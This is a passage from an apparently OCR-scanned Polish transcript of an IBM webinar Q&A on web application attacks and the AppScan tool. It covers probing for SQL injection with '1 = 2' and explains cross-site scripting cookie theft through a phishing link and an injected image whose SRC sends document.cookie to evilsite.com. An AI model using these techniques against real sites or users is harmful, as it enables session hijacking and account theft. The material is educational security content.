sprobujemy z ,,1 = 2”. Chcemy zobaczy¢, jak dziala aplikacja, gdy przeslemy nieprawidtowe
zadanie. Mozemy przeprowadzi¢ cala serig roznych atakoéw z wykorzystaniem logiki w celu
ustalenia, czy mozna powiedzie¢ co$ na temat aplikacji, na temat jej zachowania. Gdy to ustalimy,
jestesmy gotowi do rozpoczecia atakoéw. Istnieja zatem logiczne metody sprawdzenia, czy
mozliwa jest iniekcja SQL do aplikacji. Dalej juz przyda si¢ troche zgadywania. Na pewno
jednak mozliwe jest przeprowadzenie atakow nawet wtedy, gdy komunikaty o btgdach zostaly
wylaczone, poniewaz staby punkt zabezpieczen w dalszym ciagu istnieje. Jest go tylko nieco
trudniej wykry¢ niz w przyktadzie, ktoéry widzieliSmy.

Angelique Matheny: Czy jakie$ narzgdzia Rational, oprocz ClearQuest, sa zintegrowane z
pakietem AppScan?

Shawn Miller: Obecnie dysponujemy réznymi poziomami integracji z oprogramowaniem
ClearQuest. W przykladzie, ktory demonstrowalem, moglem klikna¢ problem prawym
przyciskiem myszy i przesta¢ go jako usterke do systemu ClearQuest. Wersja AppScan
Enterprise jest zintegrowana z systemem ClearQuest. W przysztym miesiacu IBM Software
Delivery Center zamierza opublikowa¢ pewne informacje na ten temat, ch¢tnie o tym
porozmawiamy po prezentacji.

Angelique Matheny: Swietnie. Musimy zatem poczekaé. Sprawdzmy, czy pojawily si¢ jeszcze
jakie$ pytania. Jest kolejne, oto ono: Przedstawiony produkt powstrzymuje ataki. Czy IBM
oferuje produkt, ktory jest w stanie sprawdzi¢, czy atak miat miejsce w przesztosci? Na przyktad
przez przeskanowanie dziennikéw zdarzen lub w podobny sposéb?

Shawn Miller: Rozumiem. Oprogramowanie AppScan stuzy do zidentyfikowania stabych
punktow zabezpieczen w samej aplikacji. Aby sprawdzi¢ takie sytuacje, o jakich mowa w pytaniu,
powinni$my raczej korzysta¢ z narz¢dzi BISS i Tivoli, ktére wykonuja audyty serwerow WWW,
kontrolg plikow dziennikow i tak dale;.

Angelique Matheny: Dzigkuje. Mozemy odpowiedzie¢ na jeszcze jedno pytanie. Pytanie brzmi:
Oczywiscie mozna wyswietli¢ informacjg cookie, ale jak ja uzyskac?

Shawn Miller: Rozumiem. W przyktadach, ktére obejrzelismy, chcialem zademonstrowac, ze
istnieje mozliwo$¢ uzyskania dostgpu do informacji cookie za posrednictwem kodu JavaScript.
Jest kilka sposobow, aby to osiagnac. W prezentacjach oprogramowania, podczas ktérych moge
skorzysta¢ z mojego komputera, zwykle tworzymy wiadomos$¢ e-mail 1 umieszczamy w niej
odsylacz zawierajacy fragment kodu JavaScript. Zachgcamy uzytkownika do kliknigcia tego
odsylacza. Odsytacz moze by¢ umieszczony w blogu albo w wiadomosci pocztowej. Gdy
uzytkownik kliknie odsytacz zawierajacy wpisany przez nas kod, kod ten zostanie dotaczony do
zadania 1 przekazany do serwera WWW. Uzytkownik zobaczy strong WWW, ktora odesle mu
serwer. W tym czasie jednak uruchomi sig takze kod JavaScript. W przyktadzie, ktory
zademonstrowatem, wywotaliSmy funkcje alert() z parametrem cookie. Mozemy jednak
dynamicznie doda¢ obrazek, w ktorym zdefiniowano parametr SRC = evilsite.com?SessionID= i



doda¢ do niego warto$¢ document.Cookie. W ten sposob przesytamy cata informacje na zewnatrz,
do zewngtrznego serwera. Mogliby$my réwniez skorzysta¢ z programu rejestrujacego nacisnigcia
klawiszy. Jest wiele rzeczy, ktore mogliby$my zrobi¢. Chodzi o to, ze skoro mozemy wstawi¢ na
stronie jaki$ kod JavaScript przy uzyciu parametru (jak w przypadku alertu, z ktérego
skorzystaliSmy), to mozemy uzyskac dostgp do informacji cookie. Jest wiele sposobow
przekazania tej informacji na zewnatrz.

Angelique Matheny: W porzadku. Shawn, bardzo dzigkujemy za odpowiedzi.

Prezentacja bgdzie dostgpna do odtworzenia za okoto 24 godziny pod tym samym adresem URL.
Zostanie tam umieszczony rowniez tekst odpowiedzi na pytania.

Chciatabym podzigkowa¢ naszemu dzisiejszemu gosciowi, Shawnowi Millerowi, za
poprowadzenie prezentacji pod tytulem ,,Podstawy hakerstwa, czyli 10 najbardziej
rozpowszechnionych atakow na aplikacje WWW”.

Dzigkujemy réwniez Panstwu za zainteresowanie. Mamy nadziej¢, ze wezma Panstwo udziat w
naszych kolejnych spotkaniach w najblizszym czasie. Jeszcze raz dzigkuj¢ bardzo za uwagg.



